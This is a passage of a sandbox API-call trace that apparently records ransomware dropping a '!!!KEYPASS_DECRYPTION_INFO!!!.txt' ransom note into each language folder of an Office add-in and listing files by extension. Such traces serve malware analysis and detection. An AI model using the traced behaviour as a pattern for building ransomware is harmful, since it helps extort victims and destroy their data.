Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.043] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ca\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0250.048] GetFileType (hFile=0x7b0) returned 0x1 [0250.048] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.048] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.048] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.049] WriteFile (in: hFile=0x7b0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.049] WriteFile (in: hFile=0x7b0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.050] CloseHandle (hObject=0x7b0) returned 1 [0250.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900230 [0250.050] FindNextFileW (in: hFindFile=0x3900230, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.050] FindNextFileW (in: hFindFile=0x3900230, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.050] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.050] FindNextFileW (in: hFindFile=0x3900230, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.050] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\AdHocReportingExcelClient.dll") returned=".dll" [0250.050] FindNextFileW (in: hFindFile=0x3900230, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.050] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.050] FindNextFileW (in: hFindFile=0x3900230, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.050] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.050] FindNextFileW (in: hFindFile=0x3900230, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.050] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.050] FindNextFileW (in: hFindFile=0x3900230, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.050] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.050] FindNextFileW (in: hFindFile=0x3900230, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.051] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\PowerViewRes.ca.xap") returned=".xap" [0250.051] FindNextFileW (in: hFindFile=0x3900230, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.051] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.051] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.051] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.051] GetLastError () returned 0x3f0 [0250.051] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.051] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\cs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0250.119] GetFileType (hFile=0x7bc) returned 0x1 [0250.119] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.119] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.119] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.119] WriteFile (in: hFile=0x7bc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.120] WriteFile (in: hFile=0x7bc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.120] CloseHandle (hObject=0x7bc) returned 1 [0250.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39005b0 [0250.120] FindNextFileW (in: hFindFile=0x39005b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.120] FindNextFileW (in: hFindFile=0x39005b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.121] FindNextFileW (in: hFindFile=0x39005b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\AdHocReportingExcelClient.dll") returned=".dll" [0250.121] FindNextFileW (in: hFindFile=0x39005b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.121] FindNextFileW (in: hFindFile=0x39005b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.121] FindNextFileW (in: hFindFile=0x39005b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.121] FindNextFileW (in: hFindFile=0x39005b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.121] FindNextFileW (in: hFindFile=0x39005b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\PowerViewRes.cs.xap") returned=".xap" [0250.121] FindNextFileW (in: hFindFile=0x39005b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.121] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.121] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.121] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.121] GetLastError () returned 0x3f0 [0250.121] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.121] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\da\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0250.167] GetFileType (hFile=0x7b8) returned 0x1 [0250.167] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.167] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.167] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.168] WriteFile (in: hFile=0x7b8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.168] WriteFile (in: hFile=0x7b8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.168] CloseHandle (hObject=0x7b8) returned 1 [0250.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39007b0 [0250.169] FindNextFileW (in: hFindFile=0x39007b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.169] FindNextFileW (in: hFindFile=0x39007b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.169] FindNextFileW (in: hFindFile=0x39007b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\AdHocReportingExcelClient.dll") returned=".dll" [0250.169] FindNextFileW (in: hFindFile=0x39007b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.169] FindNextFileW (in: hFindFile=0x39007b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.169] FindNextFileW (in: hFindFile=0x39007b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.169] FindNextFileW (in: hFindFile=0x39007b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.170] FindNextFileW (in: hFindFile=0x39007b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\PowerViewRes.da.xap") returned=".xap" [0250.170] FindNextFileW (in: hFindFile=0x39007b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.170] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.170] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.170] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.170] GetLastError () returned 0x3f0 [0250.170] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.170] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\de\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c4 [0250.188] GetFileType (hFile=0x7c4) returned 0x1 [0250.188] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.188] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.188] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.188] WriteFile (in: hFile=0x7c4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.189] WriteFile (in: hFile=0x7c4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.189] CloseHandle (hObject=0x7c4) returned 1 [0250.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39004f0 [0250.189] FindNextFileW (in: hFindFile=0x39004f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.190] FindNextFileW (in: hFindFile=0x39004f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.190] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.190] FindNextFileW (in: hFindFile=0x39004f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.190] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\AdHocReportingExcelClient.dll") returned=".dll" [0250.190] FindNextFileW (in: hFindFile=0x39004f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.190] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.190] FindNextFileW (in: hFindFile=0x39004f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.190] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.190] FindNextFileW (in: hFindFile=0x39004f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.190] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.190] FindNextFileW (in: hFindFile=0x39004f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.190] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.190] FindNextFileW (in: hFindFile=0x39004f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.190] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\PowerViewRes.de.xap") returned=".xap" [0250.190] FindNextFileW (in: hFindFile=0x39004f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.190] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.190] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.190] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.190] GetLastError () returned 0x3f0 [0250.190] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.190] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\el\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c8 [0250.257] GetFileType (hFile=0x7c8) returned 0x1 [0250.257] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.257] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.257] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.257] WriteFile (in: hFile=0x7c8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.258] WriteFile (in: hFile=0x7c8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.258] CloseHandle (hObject=0x7c8) returned 1 [0250.258] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900570 [0250.258] FindNextFileW (in: hFindFile=0x3900570, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.258] FindNextFileW (in: hFindFile=0x3900570, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.258] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.258] FindNextFileW (in: hFindFile=0x3900570, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.258] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\AdHocReportingExcelClient.dll") returned=".dll" [0250.259] FindNextFileW (in: hFindFile=0x3900570, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.259] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.259] FindNextFileW (in: hFindFile=0x3900570, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.259] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.259] FindNextFileW (in: hFindFile=0x3900570, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.259] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.259] FindNextFileW (in: hFindFile=0x3900570, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.259] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.259] FindNextFileW (in: hFindFile=0x3900570, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.259] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\PowerViewRes.el.xap") returned=".xap" [0250.259] FindNextFileW (in: hFindFile=0x3900570, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.259] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.259] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.259] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.259] GetLastError () returned 0x3f0 [0250.259] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.259] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\es\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7cc [0250.370] GetFileType 